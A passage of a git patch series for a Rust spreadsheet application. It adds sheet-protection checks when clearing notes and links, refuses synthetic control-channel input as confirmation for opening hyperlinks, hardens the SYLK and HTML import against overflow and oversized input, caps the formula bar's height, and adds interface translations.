!skip.contains(&c.row); + // A removed note or link changes its cell even with nothing stored there. + let metadata: Vec = cx + .wb + .sheet(sheet) + .map(|sh| { + let notes = matches!(what, "all" | "comments").then(|| sh.comments.keys()).into_iter().flatten(); + let links = matches!(what, "all" | "hyperlinks").then(|| sh.hyperlinks.keys()).into_iter().flatten(); + notes.chain(links).copied().filter(|c| cleared(*c)).collect() + }) + .unwrap_or_default(); + cx.changed.extend(metadata.into_iter().map(|c| (sheet, c))); let sh = cx.sheet_mut(sheet)?; for (c, mut cell) in cells { match what { @@ -290,7 +321,6 @@ fn clear(s: &mut Session, p: &Json, what: &str) -> Result { _ => {} } } - let cleared = |c: CellRef| whole.contains(c) && !skip.contains(&c.row); if matches!(what, "all" | "comments") { sh.comments.retain(|c, _| !cleared(*c)); } diff --git a/crates/engine/src/tests.rs b/crates/engine/src/tests.rs index 272abffe2..7c03d8c72 100644 --- a/crates/engine/src/tests.rs +++ b/crates/engine/src/tests.rs @@ -5477,3 +5477,51 @@ fn clear_hyperlinks_removes_links_on_cells_with_nothing_stored() { s.execute("edit.clearHyperlinks", json!({"range": "A1"})).unwrap(); assert!(!s.doc().unwrap().wb.active().unwrap().hyperlinks.contains_key(&a1), "the link on an empty sheet is removed"); } + +/// Notes and links aren't cell contents, so the cell comparison that guards a protected sheet +/// doesn't see them go: Clear Hyperlinks and Clear Comments refuse locked cells themselves, +/// stored or not. +#[test] +fn clearing_links_and_notes_respects_sheet_protection() { + let mut s = s(); + s.execute("cell.set", json!({"cell": "A1", "input": "x"})).unwrap(); + let link = || gridcraft_model::Hyperlink { target: "https://example.com".into(), tooltip: None, external: true }; + let (a1, c5) = (CellRef::parse("A1").unwrap(), CellRef::parse("C5").unwrap()); + { + let sh = std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap(); + sh.hyperlinks.insert(a1, link()); + sh.hyperlinks.insert(c5, link()); + } + s.execute("review.newNote", json!({"cell": "C5", "text": "note", "author": "Example"})).unwrap(); + s.execute("review.protectSheet", json!({})).unwrap(); + for (cmd, range) in [("edit.clearHyperlinks", "A1"), ("edit.clearHyperlinks", "C5"), ("edit.clearComments", "C5")] { + assert!(s.execute(cmd, json!({"range": range})).is_err(), "{cmd} on locked {range}"); + } + let sh = s.doc().unwrap().wb.active().unwrap().clone(); + assert!(sh.hyperlinks.contains_key(&a1) && sh.hyperlinks.contains_key(&c5) && sh.comments.contains_key(&c5), "nothing removed"); + + s.execute("review.unprotectSheet", json!({})).unwrap(); + s.execute("edit.clearHyperlinks", json!({"range": "A1:C5"})).unwrap(); + s.execute("edit.clearComments", json!({"range": "C5"})).unwrap(); + let sh = s.doc().unwrap().wb.active().unwrap().clone(); + assert!(sh.hyperlinks.is_empty() && sh.comments.is_empty()); +} + +/// A removed link or note is a change to its cell even when nothing is stored there, so a +/// recorded macro's footprint lists it. +#[test] +fn clearing_links_and_notes_records_their_cells() { + let mut s = s(); + let c5 = CellRef::parse("C5").unwrap(); + std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb) + .sheet_mut(0) + .unwrap() + .hyperlinks + .insert(c5, gridcraft_model::Hyperlink { target: "https://example.com".into(), tooltip: None, external: true }); + s.execute("review.newNote", json!({"cell": "D7", "text": "note", "author": "Example"})).unwrap(); + s.doc_mut().unwrap().touched = Some(Vec::new()); + s.execute("edit.clearHyperlinks", json!({"range": "C5"})).unwrap(); + s.execute("edit.clearComments", json!({"range": "D7"})).unwrap(); + let touched: Vec = s.doc().unwrap().touched.clone().unwrap_or_default().into_iter().map(|(_, c)| c.a1()).collect(); + assert!(touched.contains(&"C5".to_string()) && touched.contains(&"D7".to_string()), "{touched:?}"); +} From 72a9c5b47d744eb3dd92aa0cbf7c10bfd62db8de Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 08:21:50 -0600 Subject: [PATCH 125/167] #2120: test that clearing notes and links keeps Allow Edit Ranges Addresses the follow-up in review 5753664551: the protection test had no range exception, so a regression that refused locked notes and links inside an Allow Edit Range would have passed. The new test clears a link in a range without a password, is refused a note in a password range, then clears both once that range is unlocked. Test: engine tests::clearing_links_and_notes_keeps_allow_edit_ranges. Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/tests.rs | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) diff --git a/crates/engine/src/tests.rs b/crates/engine/src/tests.rs index 7c03d8c72..e1b8bace8 100644 --- a/crates/engine/src/tests.rs +++ b/crates/engine/src/tests.rs @@ -5525,3 +5525,31 @@ fn clearing_links_and_notes_records_their_cells() { let touched: Vec = s.doc().unwrap().touched.clone().unwrap_or_default().into_iter().map(|(_, c)| c.a1()).collect(); assert!(touched.contains(&"C5".to_string()) && touched.contains(&"D7".to_string()), "{touched:?}"); } + +/// The locked-cell check for notes and links keeps Allow Edit Ranges: a range without a password +/// allows them at once, one with a password once it's unlocked in this session. +#[test] +fn clearing_links_and_notes_keeps_allow_edit_ranges() { + let mut s = s(); + s.execute("cell.set", json!({"cell": "A1", "input": "x"})).unwrap(); + let link = || gridcraft_model::Hyperlink { target: "https://example.com".into(), tooltip: None, external: true }; + let (a1, c5) = (CellRef::parse("A1").unwrap(), CellRef::parse("C5").unwrap()); + { + let sh = std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap(); + sh.hyperlinks.insert(a1, link()); + sh.hyperlinks.insert(c5, link()); + } + s.execute("review.newNote", json!({"cell": "C5", "text": "note", "author": "Example"})).unwrap(); + // Ranges are added before protecting: a protected sheet refuses `add`. + s.execute("review.allowEditRanges", json!({"action": "add", "title": "Open", "range": "A1"})).unwrap(); + s.execute("review.allowEditRanges", json!({"action": "add", "title": "Kept", "range": "C5", "password": "example"})).unwrap(); + s.execute("review.protectSheet", json!({})).unwrap(); + + s.execute("edit.clearHyperlinks", json!({"range": "A1"})).unwrap(); + assert!(s.execute("edit.clearComments", json!({"range": "C5"})).is_err(), "a password range stays locked until unlocked"); + s.execute("review.allowEditRanges", json!({"action": "unlock", "title": "Kept", "password": "example"})).unwrap(); + s.execute("edit.clearHyperlinks", json!({"range": "C5"})).unwrap(); + s.execute("edit.clearComments", json!({"range": "C5"})).unwrap(); + let sh = s.doc().unwrap().wb.active().unwrap().clone(); + assert!(sh.hyperlinks.is_empty() && sh.comments.is_empty()); +} From fe062f57a67e327d0b656c94bca86dc3c16e5706 Mon Sep 17 00:00:00 2001 From: Higgs32584 Date: Tue, 3 Nov 2026 09:48:20 -0500 Subject: [PATCH 126/167] Refuse synthetic control-channel input as OK in Open Hyperlink (#2181) A ui.key Enter or ui.click on OK reached egui as ordinary input and could confirm the openLink prompt. A pass that carries synthetic input now keeps the prompt open and opens nothing. Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/dialogs.rs | 24 ++++++++++++++++++++++++ crates/ui-egui/src/dialogs/show.rs | 23 ++++++++++++++++++++--- 2 files changed, 44 insertions(+), 3 deletions(-) diff --git a/crates/ui-egui/src/dialogs.rs b/crates/ui-egui/src/dialogs.rs index cbf21ddd9..0cbd66de7 100644 --- a/crates/ui-egui/src/dialogs.rs +++ b/crates/ui-egui/src/dialogs.rs @@ -1194,6 +1194,30 @@ mod tests { assert_eq!(opened.borrow().len(), 1); } + /// #2181: an OK that arrives with synthetic control-channel input (`ui.key` Enter, `ui.click` + /// on OK) opens nothing and keeps the prompt open; the same OK from the user opens the link. + #[test] + fn synthetic_input_cannot_confirm_open_hyperlink() { + use show::{SYNTHETIC_LINK_CONFIRM, confirm_open_link}; + use std::{cell::RefCell, rc::Rc}; + let opened = Rc::new(RefCell::new(Vec::::new())); + let sink = opened.clone(); + let services = crate::Services { open_url: Some(Box::new(move |u: &str| sink.borrow_mut().push(u.to_string()))), ..Default::default() }; + let mut session = gridcraft_engine::Session::default(); + session.new_workbook(); + let mut app = SheetApp::new(session, services); + let d = Dialog::open(&mut app, "openLink", json!({"url": "https://example.org/a"})).unwrap(); + + app.synthetic_pending = true; + assert!(!confirm_open_link(&mut app, &d), "the prompt stays open"); + assert!(opened.borrow().is_empty(), "synthetic input opens nothing"); + assert_eq!(app.message.as_ref().map(|m| m.1.as_str()), Some(SYNTHETIC_LINK_CONFIRM)); + + app.synthetic_pending = false; + app.message = None; + assert!(confirm_open_link(&mut app, &d), "the user's OK closes the prompt"); + assert_eq!(*opened.borrow(), vec!["https://example.org/a".to_string()]); + } #[test] fn data_validation_without_a_rule_opens_on_a_blank_list() { diff --git a/crates/ui-egui/src/dialogs/show.rs b/crates/ui-egui/src/dialogs/show.rs index 1aa013442..6dd5519c3 100644 --- a/crates/ui-egui/src/dialogs/show.rs +++ b/crates/ui-egui/src/dialogs/show.rs @@ -409,9 +409,8 @@ pub fn show(app: &mut SheetApp, ctx: &egui::Context) { } if confirm && d.name == "openLink" { confirm = false; - open = false; - if let Err(e) = open_confirmed_link(app, &d) { - app.message = Some((d.title.clone(), crate::clean_error(&e))); + if confirm_open_link(app, &d) { + open = false; } } if confirm && d.command.is_some() && home_sheet_deleted(app, &mut d) { @@ -492,6 +491,24 @@ pub fn show(app: &mut SheetApp, ctx: &egui::Context) { } } +/// OK in Open Hyperlink; returns whether the prompt closes. A pass that carries control-channel +/// input (`ui.key`, `ui.click`, `ui.drag`) can't say yes for the user (#2181): the link stays +/// unopened and the prompt open, with a message. Real input in that same pass is refused too, so +/// the user just presses OK again. +pub(super) fn confirm_open_link(app: &mut SheetApp, d: &Dialog) -> bool { + if app.synthetic_pending { + app.message = Some((d.title.clone(), SYNTHETIC_LINK_CONFIRM.into())); + return false; + } + if let Err(e) = open_confirmed_link(app, d) { + app.message = Some((d.title.clone(), crate::clean_error(&e))); + } + true +} + +/// Why Open Hyperlink ignored an OK that arrived with synthetic control-channel input. +pub(super) const SYNTHETIC_LINK_CONFIRM: &str = "Synthetic input from the control channel can't open a link: press OK yourself to open it."; + /// The user pressed OK in Open Hyperlink: opens the address the prompt showed (`d.link`), never /// one a caller edited into its values afterwards. pub(super) fn open_confirmed_link(app: &mut SheetApp, d: &Dialog) -> Result<(), String> { From 1a7fa68376a3f94632e958abe64360a478b4736f Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 08:52:05 -0600 Subject: [PATCH 127/167] #1246: an expanded formula bar leaves room for the worksheet Addresses review comment 4456174694: the drag/expand cap was half the window, so in a 400 pt window a ~195 pt bar left the grid about 1.6 pt under the status bar and sheet tabs. The cap is now also limited by the room left under the ribbon, keeping the status bar, sheet tabs, column headings and two rows below the bar. Test: ui-egui formula_bar_expand::an_expanded_formula_bar_leaves_room_for_the_worksheet_in_a_short_window. Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/formula_bar.rs | 19 +++++++++++++------ crates/ui-egui/tests/it/formula_bar_expand.rs | 14 ++++++++++++++ 2 files changed, 27 insertions(+), 6 deletions(-) diff --git a/crates/ui-egui/src/formula_bar.rs b/crates/ui-egui/src/formula_bar.rs index 9be205a4f..091869ab8 100644 --- a/crates/ui-egui/src/formula_bar.rs +++ b/crates/ui-egui/src/formula_bar.rs @@ -17,6 +17,9 @@ pub const MAX_LINES: usize = 5; pub const MAX_DRAG_LINES: usize = 100; /// How far the bar's bottom edge reaches up into the bar as a resize handle (its bottom margin). const HANDLE: f32 = 4.0; +/// What an expanded bar leaves below it: the status bar (26) and sheet tabs (32), and the +/// worksheet's column headings and two rows, so the grid never disappears in a short window. +const KEEP_BELOW: f32 = 26.0 + 32.0 + crate::grid::COL_HEADER_H + 2.0 * gridcraft_engine::model::DEFAULT_ROW_HEIGHT; /// The bar's height at one line. const ONE_LINE: f32 = 30.0; /// What the bar adds around the field's rows: the panel's margins (3 + 3), the field's (3 + 3) @@ -92,7 +95,7 @@ pub fn show(app: &mut SheetApp, ui: &mut egui::Ui) { // Height follows the content's line count (last frame's), 1 to MAX_LINES; expanded (the // chevron), it is the height the bottom edge was dragged to. It eases only when that target // changes. - let most = max_lines(ui.ctx().content_rect().height(), row_h); + let most = max_lines(ui.ctx().content_rect().height(), ui.available_rect_before_wrap().height(), row_h); let lines = if app.ui.formula_bar_expanded { app.ui.formula_bar_lines.clamp(1, most) } else { last.lines.clamp(1, MAX_LINES) }; let target = one_line(row_h) + (lines - 1) as f32 * row_h; let h = ui.ctx().animate_value_with_time(egui::Id::unique("formula_bar.height"), target, EASE_SECONDS); @@ -178,11 +181,15 @@ pub fn show(app: &mut SheetApp, ui: &mut egui::Ui) { ui.ctx().data_mut(|d| d.insert_temp(BarLayout::id(), layout)); } -/// The most lines the bar takes in a window `window_h` tall: half the window, as in Excel, and -/// never fewer than the chevron's [`MAX_LINES`]. -fn max_lines(window_h: f32, row_h: f32) -> usize { - let fit = ((window_h * 0.5 - one_line(row_h)) / row_h).floor(); - if fit.is_finite() && fit > 0.0 { (fit as usize + 1).clamp(MAX_LINES, MAX_DRAG_LINES) } else { MAX_LINES } +/// The most lines the bar takes in a window `window_h` tall with `room` left under the ribbon: +/// half the window, as in Excel (never fewer than the chevron's [`MAX_LINES`]), and no more than +/// leaves [`KEEP_BELOW`] for the status bar, sheet tabs and a few rows of the grid. +fn max_lines(window_h: f32, room: f32, row_h: f32) -> usize { + let lines_in = |h: f32| { + let fit = ((h - one_line(row_h)) / row_h).floor(); + if fit.is_finite() && fit > 0.0 { fit as usize + 1 } else { 1 } + }; + lines_in(window_h * 0.5).clamp(MAX_LINES, MAX_DRAG_LINES).min(lines_in(room - KEEP_BELOW)) } /// The lines a bar whose top is at `top` shows with its bottom edge dragged to `y`, in whole lines. diff --git a/crates/ui-egui/tests/it/formula_bar_expand.rs b/crates/ui-egui/tests/it/formula_bar_expand.rs index cabf7ee70..169107ac7 100644 --- a/crates/ui-egui/tests/it/formula_bar_expand.rs +++ b/crates/ui-egui/tests/it/formula_bar_expand.rs @@ -147,3 +147,17 @@ fn expand_formula_bar_with_lines_sets_the_expanded_height() { assert_eq!(h.state_mut().run("view.expandFormulaBar", json!({"lines": 0})), Ok(json!({"on": false, "lines": 8})), "zero lines is one line"); assert_eq!(h.state_mut().run("view.expandFormulaBar", json!({"lines": u64::MAX})), Ok(json!({"on": true, "lines": 100})), "capped"); } + +#[test] +fn an_expanded_formula_bar_leaves_room_for_the_worksheet_in_a_short_window() { + // At 400 pt the title bar and ribbon leave about 236 pt: half the window as a formula bar + // would leave the status bar and sheet tabs no room for any of the grid. + let mut session = Session::new(); + session.new_workbook(); + let mut h = crate::common::harness_with(crate::common::builder().with_size(vec2(1200.0, 400.0)), crate::common::app(session), 4); + h.state_mut().run("view.expandFormulaBar", json!({"lines": 100})).unwrap(); + h.run_steps(60); + let cells = h.state().grid.cells_rect.expect("the grid is drawn"); + assert!(cells.height() >= 40.0, "a couple of rows stay visible under a {} pt bar: {cells:?}", bar(&h).height); + assert!(bar(&h).visible_lines > 1, "the bar is still expanded"); +} From 865a789c73d27b2662562c1319a86bb4dab3c492 Mon Sep 17 00:00:00 2001 From: Brandon Thomas Date: Tue, 3 Nov 2026 09:59:27 -0500 Subject: [PATCH 128/167] Review fixes for #3223, #3253, #3254, #3252, #3239, #3244 and #3268 - #3223: sniff the first 64 KiB for a web page and skip JSON and files over the text-import cap, so every CSV/TSV is no longer decoded in full before the size check. - #3253: SYLK relative offsets use checked arithmetic (no overflow on R[9223372036854775807]); at most 1024 column-width records are kept; regression test. - #3254: a single selected merged cell searches the whole sheet, as one selected cell does. - #3252: the formula bar's height cap is half the room below the ribbon, not half the window, so the worksheet stays visible in a short window (CodeRabbit Major). - #3239, #3244, #3252, #3268: es/de/cs/zh/ko/ru/pt entries for the new interface strings. Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/io.rs | 15 ++++++++++++--- crates/engine/src/io/sylk.rs | 7 ++++++- crates/engine/src/io/tests.rs | 15 +++++++++++++++ crates/ui-egui/src/dialogs/find.rs | 7 ++++++- crates/ui-egui/src/formula_bar.rs | 6 +++--- crates/ui-egui/src/i18n/cs.rs | 10 ++++++++++ crates/ui-egui/src/i18n/de.rs | 10 ++++++++++ crates/ui-egui/src/i18n/es.rs | 10 ++++++++++ crates/ui-egui/src/i18n/ko.rs | 10 ++++++++++ crates/ui-egui/src/i18n/pt.rs | 10 ++++++++++ crates/ui-egui/src/i18n/ru.rs | 10 ++++++++++ crates/ui-egui/src/i18n/zh.rs | 10 ++++++++++ 12 files changed, 112 insertions(+), 8 deletions(-) diff --git a/crates/engine/src/io.rs b/crates/engine/src/io.rs index 2234d4627..602c17ccd 100644 --- a/crates/engine/src/io.rs +++ b/crates/engine/src/io.rs @@ -359,16 +359,23 @@ fn part_too_large_message(name: &str, part: &str, size: u64) -> String { ) } +/// How much of a text file is read to tell whether it is a web page. +const HTML_SNIFF_BYTES: usize = 64 << 10; + /// A web page that holds a table, whatever its extension: a web app's "Export to Excel" is often /// HTML saved as `.xls` (#3166). Excel opens its table as a sheet (after warning that the format /// and extension don't match): the cells read like typed input (or as text with `csv_as_text`), /// header cells (``) are bold and centred, and the sheet takes the name the page gives it /// (``) or the file's. `None` when the bytes aren't such a page. fn read_html_table(name: &str, kind: Option, bytes: &[u8], csv_as_text: bool) -> Option)>> { - // Decoded as a CSV is (BOM, UTF-8, else Windows-1252/1256), so a legacy page keeps its letters. - let text = gridcraft_xlsx::decode_text(bytes); + // Every other text file (CSV, TSV, JSON) passes through here: look at the start only, and decode + // the whole file once it is known to be a page within the size a text import takes. + if matches!(kind, Some(FileKind::Json)) || bytes.len() > gridcraft_xlsx::MAX_CSV_BYTES { + return None; + } + let start = gridcraft_xlsx::decode_text(bytes.get(..HTML_SNIFF_BYTES).unwrap_or(bytes)); // Comments an exporter writes before the page (``) don't make it something else. - let mut rest = text.trim_start_matches('\u{feff}').trim_start(); + let mut rest = start.trim_start_matches('\u{feff}').trim_start(); while let Some(after) = rest.strip_prefix("").and_then(|end| after.get(end + 3..)) { Some(more) => rest = more.trim_start(), @@ -379,6 +386,8 @@ fn read_html_table(name: &str, kind: Option, bytes: &[u8], csv_as_text if ![" Result<(Workbook, Vec)> { @@ -110,6 +112,9 @@ pub fn read(name: &str, bytes: &[u8]) -> Result<(Workbook, Vec)> { (position(first, MAX_COLS), position(last, MAX_COLS), width.parse::()) && first <= last && (0.0..=255.0).contains(&width) + // A file of width records can't make the import loop over every column + // again and again. + && widths.len() < MAX_WIDTH_RECORDS { widths.push((first, last, width)); } @@ -215,7 +220,7 @@ impl Part { fn resolve(self, base: u32, max: u32) -> Option<(u32, bool)> { match self { Part::Absolute(n) => (1..=max).contains(&n).then(|| (n - 1, true)), - Part::Relative(k) => u32::try_from(i64::from(base) + k).ok().filter(|v| *v < max).map(|v| (v, false)), + Part::Relative(k) => i64::from(base).checked_add(k).and_then(|v| u32::try_from(v).ok()).filter(|v| *v < max).map(|v| (v, false)), } } } diff --git a/crates/engine/src/io/tests.rs b/crates/engine/src/io/tests.rs index 0e93be9ee..ae5ea8832 100644 --- a/crates/engine/src/io/tests.rs +++ b/crates/engine/src/io/tests.rs @@ -746,3 +746,18 @@ fn sylk_rejects_other_files_and_survives_damage() { assert_eq!(sh.value(CellRef::parse("A3").unwrap()), gridcraft_core::Value::Text("1e999".into())); assert_eq!(warnings.len(), 1, "skipped records are reported: {warnings:?}"); } + +#[test] +fn sylk_survives_huge_relative_offsets_and_width_floods() { + // Relative offsets at the edge of i64 fall off the sheet instead of overflowing. + let text = b"ID;P\nC;Y1;X1;K0;ER[9223372036854775807]C\nC;Y2;X1;K0;ER[-9223372036854775808]C[-9223372036854775808]\nE\n"; + assert!(open_bytes("offsets.slk", text).is_ok()); + // Width records over every column, many times over: the import keeps a bounded number. + let mut flood = b"ID;P\n".to_vec(); + for _ in 0..5000 { + flood.extend_from_slice(b"F;W1 16384 12\n"); + } + flood.extend_from_slice(b"C;Y1;X1;K1\nE\n"); + let (wb, _) = open_bytes("widths.slk", &flood).unwrap(); + assert_eq!(wb.sheet(0).unwrap().value(CellRef::parse("A1").unwrap()), gridcraft_core::Value::Number(1.0)); +} diff --git a/crates/ui-egui/src/dialogs/find.rs b/crates/ui-egui/src/dialogs/find.rs index fe7f8ad6c..394cf5211 100644 --- a/crates/ui-egui/src/dialogs/find.rs +++ b/crates/ui-egui/src/dialogs/find.rs @@ -41,7 +41,12 @@ pub(super) fn find(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dialog) { d.values.insert("wholeCell".into(), json!(whole)); d.values.insert("within".into(), json!(if wb { "workbook" } else { "sheet" })); // As in Excel, a selected range (more than one cell) limits the search on the sheet to it. - let range_selected = app.session.active().is_some_and(|doc| !doc.selection.is_single_cell()); + // One selected cell, merged or not, searches the sheet, as in Excel. + let range_selected = app.session.active().is_some_and(|doc| { + let sel = &doc.selection; + let one_merged = sel.ranges.len() == 1 && doc.wb.active().and_then(|sh| sh.merge_at(sel.current().start)).is_some_and(|m| m == sel.current()); + !sel.is_single_cell() && !one_merged + }); let within = if wb { "workbook" } else if range_selected { diff --git a/crates/ui-egui/src/formula_bar.rs b/crates/ui-egui/src/formula_bar.rs index 9be205a4f..afdf1987b 100644 --- a/crates/ui-egui/src/formula_bar.rs +++ b/crates/ui-egui/src/formula_bar.rs @@ -92,7 +92,7 @@ pub fn show(app: &mut SheetApp, ui: &mut egui::Ui) { // Height follows the content's line count (last frame's), 1 to MAX_LINES; expanded (the // chevron), it is the height the bottom edge was dragged to. It eases only when that target // changes. - let most = max_lines(ui.ctx().content_rect().height(), row_h); + let most = max_lines(ui.available_rect_before_wrap().height(), row_h); let lines = if app.ui.formula_bar_expanded { app.ui.formula_bar_lines.clamp(1, most) } else { last.lines.clamp(1, MAX_LINES) }; let target = one_line(row_h) + (lines - 1) as f32 * row_h; let h = ui.ctx().animate_value_with_time(egui::Id::unique("formula_bar.height"), target, EASE_SECONDS); @@ -178,8 +178,8 @@ pub fn show(app: &mut SheetApp, ui: &mut egui::Ui) { ui.ctx().data_mut(|d| d.insert_temp(BarLayout::id(), layout)); } -/// The most lines the bar takes in a window `window_h` tall: half the window, as in Excel, and -/// never fewer than the chevron's [`MAX_LINES`]. +/// The most lines the bar takes when `window_h` is the room left below the ribbon: half of it, +/// so the worksheet keeps the rest, and never fewer than the chevron's [`MAX_LINES`]. fn max_lines(window_h: f32, row_h: f32) -> usize { let fit = ((window_h * 0.5 - one_line(row_h)) / row_h).floor(); if fit.is_finite() && fit > 0.0 { (fit as usize + 1).clamp(MAX_LINES, MAX_DRAG_LINES) } else { MAX_LINES } diff --git a/crates/ui-egui/src/i18n/cs.rs b/crates/ui-egui/src/i18n/cs.rs index c7938ff4d..cae5a12f8 100644 --- a/crates/ui-egui/src/i18n/cs.rs +++ b/crates/ui-egui/src/i18n/cs.rs @@ -335,6 +335,16 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Options|General" => "Obecné", "Options|Save" => "Uložit", "Show formula bar" => "Zobrazit řádek vzorců", + "Highlight the active cell's row" => "Zvýraznit řádek aktivní buňky", + "Display options for this workbook" => "Možnosti zobrazení pro tento sešit", + "Show horizontal scroll bar" => "Zobrazit vodorovný posuvník", + "Show vertical scroll bar" => "Zobrazit svislý posuvník", + "Show sheet tabs" => "Zobrazit karty listů", + "Edit Hyperlink…" => "Upravit hypertextový odkaz…", + "Edit Hyperlink" => "Upravit hypertextový odkaz", + "Open Hyperlink" => "Otevřít hypertextový odkaz", + "Remove Hyperlink" => "Odebrat hypertextový odkaz", + "Resize formula bar" => "Změnit velikost řádku vzorců", "Enable AutoComplete for cell values" => "Povolit automatické dokončování hodnot buněk", "Save .xlsx workbooks automatically after every change" => "Automaticky ukládat sešity .xlsx po každé změně", "Workbook calculation" => "Výpočet sešitu", diff --git a/crates/ui-egui/src/i18n/de.rs b/crates/ui-egui/src/i18n/de.rs index 97e6460e8..8720d7397 100644 --- a/crates/ui-egui/src/i18n/de.rs +++ b/crates/ui-egui/src/i18n/de.rs @@ -350,6 +350,16 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Options|General" => "Allgemein", "Options|Save" => "Speichern", "Show formula bar" => "Bearbeitungsleiste anzeigen", + "Highlight the active cell's row" => "Zeile der aktiven Zelle hervorheben", + "Display options for this workbook" => "Optionen für die Anzeige dieser Arbeitsmappe", + "Show horizontal scroll bar" => "Horizontale Bildlaufleiste anzeigen", + "Show vertical scroll bar" => "Vertikale Bildlaufleiste anzeigen", + "Show sheet tabs" => "Blattregisterkarten anzeigen", + "Edit Hyperlink…" => "Link bearbeiten…", + "Edit Hyperlink" => "Link bearbeiten", + "Open Hyperlink" => "Link öffnen", + "Remove Hyperlink" => "Link entfernen", + "Resize formula bar" => "Größe der Bearbeitungsleiste ändern", "Enable AutoComplete for cell values" => "AutoVervollständigen für Zellwerte aktivieren", "Save .xlsx workbooks automatically after every change" => ".xlsx-Arbeitsmappen nach jeder Änderung automatisch speichern", "Workbook calculation" => "Arbeitsmappenberechnung", diff --git a/crates/ui-egui/src/i18n/es.rs b/crates/ui-egui/src/i18n/es.rs index 1db58e0fc..92dc1b34e 100644 --- a/crates/ui-egui/src/i18n/es.rs +++ b/crates/ui-egui/src/i18n/es.rs @@ -337,6 +337,16 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Options|General" => "General", "Options|Save" => "Guardar", "Show formula bar" => "Mostrar barra de fórmulas", + "Highlight the active cell's row" => "Resaltar la fila de la celda activa", + "Display options for this workbook" => "Opciones de presentación para este libro", + "Show horizontal scroll bar" => "Mostrar barra de desplazamiento horizontal", + "Show vertical scroll bar" => "Mostrar barra de desplazamiento vertical", + "Show sheet tabs" => "Mostrar pestañas de hojas", + "Edit Hyperlink…" => "Modificar hipervínculo…", + "Edit Hyperlink" => "Modificar hipervínculo", + "Open Hyperlink" => "Abrir hipervínculo", + "Remove Hyperlink" => "Quitar hipervínculo", + "Resize formula bar" => "Cambiar el tamaño de la barra de fórmulas", "Enable AutoComplete for cell values" => "Habilitar Autocompletar para valores de celda", "Save .xlsx workbooks automatically after every change" => "Guardar automáticamente los libros .xlsx tras cada cambio", "Workbook calculation" => "Cálculo del libro", diff --git a/crates/ui-egui/src/i18n/ko.rs b/crates/ui-egui/src/i18n/ko.rs index d725d97d1..8e6d0418e 100644 --- a/crates/ui-egui/src/i18n/ko.rs +++ b/crates/ui-egui/src/i18n/ko.rs @@ -426,6 +426,16 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Options|General" => "일반", "Options|Save" => "저장", "Show formula bar" => "수식 입력줄 표시", + "Highlight the active cell's row" => "활성 셀의 행 강조 표시", + "Display options for this workbook" => "이 통합 문서의 표시 옵션", + "Show horizontal scroll bar" => "가로 스크롤 막대 표시", + "Show vertical scroll bar" => "세로 스크롤 막대 표시", + "Show sheet tabs" => "시트 탭 표시", + "Edit Hyperlink…" => "하이퍼링크 편집…", + "Edit Hyperlink" => "하이퍼링크 편집", + "Open Hyperlink" => "하이퍼링크 열기", + "Remove Hyperlink" => "하이퍼링크 제거", + "Resize formula bar" => "수식 입력줄 크기 조정", "Enable AutoComplete for cell values" => "셀 값에 자동 완성 사용", "Save .xlsx workbooks automatically after every change" => "변경할 때마다 .xlsx 통합 문서를 자동으로 저장", "Workbook calculation" => "통합 문서 계산", diff --git a/crates/ui-egui/src/i18n/pt.rs b/crates/ui-egui/src/i18n/pt.rs index 6a126c055..b2d9b9384 100644 --- a/crates/ui-egui/src/i18n/pt.rs +++ b/crates/ui-egui/src/i18n/pt.rs @@ -416,6 +416,16 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Options|General" => "Geral", "Options|Save" => "Salvar", "Show formula bar" => "Mostrar barra de fórmulas", + "Highlight the active cell's row" => "Realçar a linha da célula ativa", + "Display options for this workbook" => "Opções de exibição para esta pasta de trabalho", + "Show horizontal scroll bar" => "Mostrar barra de rolagem horizontal", + "Show vertical scroll bar" => "Mostrar barra de rolagem vertical", + "Show sheet tabs" => "Mostrar guias de planilhas", + "Edit Hyperlink…" => "Editar hiperlink…", + "Edit Hyperlink" => "Editar hiperlink", + "Open Hyperlink" => "Abrir hiperlink", + "Remove Hyperlink" => "Remover hiperlink", + "Resize formula bar" => "Redimensionar a barra de fórmulas", "Enable AutoComplete for cell values" => "Habilitar AutoConclusão para valores de célula", "Save .xlsx workbooks automatically after every change" => "Salvar pastas de trabalho .xlsx automaticamente após cada alteração", "Workbook calculation" => "Cálculo da pasta de trabalho", diff --git a/crates/ui-egui/src/i18n/ru.rs b/crates/ui-egui/src/i18n/ru.rs index 351734919..49964ad79 100644 --- a/crates/ui-egui/src/i18n/ru.rs +++ b/crates/ui-egui/src/i18n/ru.rs @@ -426,6 +426,16 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Options|General" => "Общие", "Options|Save" => "Сохранение", "Show formula bar" => "Показывать строку формул", + "Highlight the active cell's row" => "Выделять строку активной ячейки", + "Display options for this workbook" => "Параметры отображения для этой книги", + "Show horizontal scroll bar" => "Показывать горизонтальную полосу прокрутки", + "Show vertical scroll bar" => "Показывать вертикальную полосу прокрутки", + "Show sheet tabs" => "Показывать ярлычки листов", + "Edit Hyperlink…" => "Изменить гиперссылку…", + "Edit Hyperlink" => "Изменить гиперссылку", + "Open Hyperlink" => "Открыть гиперссылку", + "Remove Hyperlink" => "Удалить гиперссылку", + "Resize formula bar" => "Изменить размер строки формул", "Enable AutoComplete for cell values" => "Включить автозавершение значений ячеек", "Save .xlsx workbooks automatically after every change" => "Автоматически сохранять книги .xlsx после каждого изменения", "Workbook calculation" => "Вычисления в книге", diff --git a/crates/ui-egui/src/i18n/zh.rs b/crates/ui-egui/src/i18n/zh.rs index 42f2c1c6a..550440364 100644 --- a/crates/ui-egui/src/i18n/zh.rs +++ b/crates/ui-egui/src/i18n/zh.rs @@ 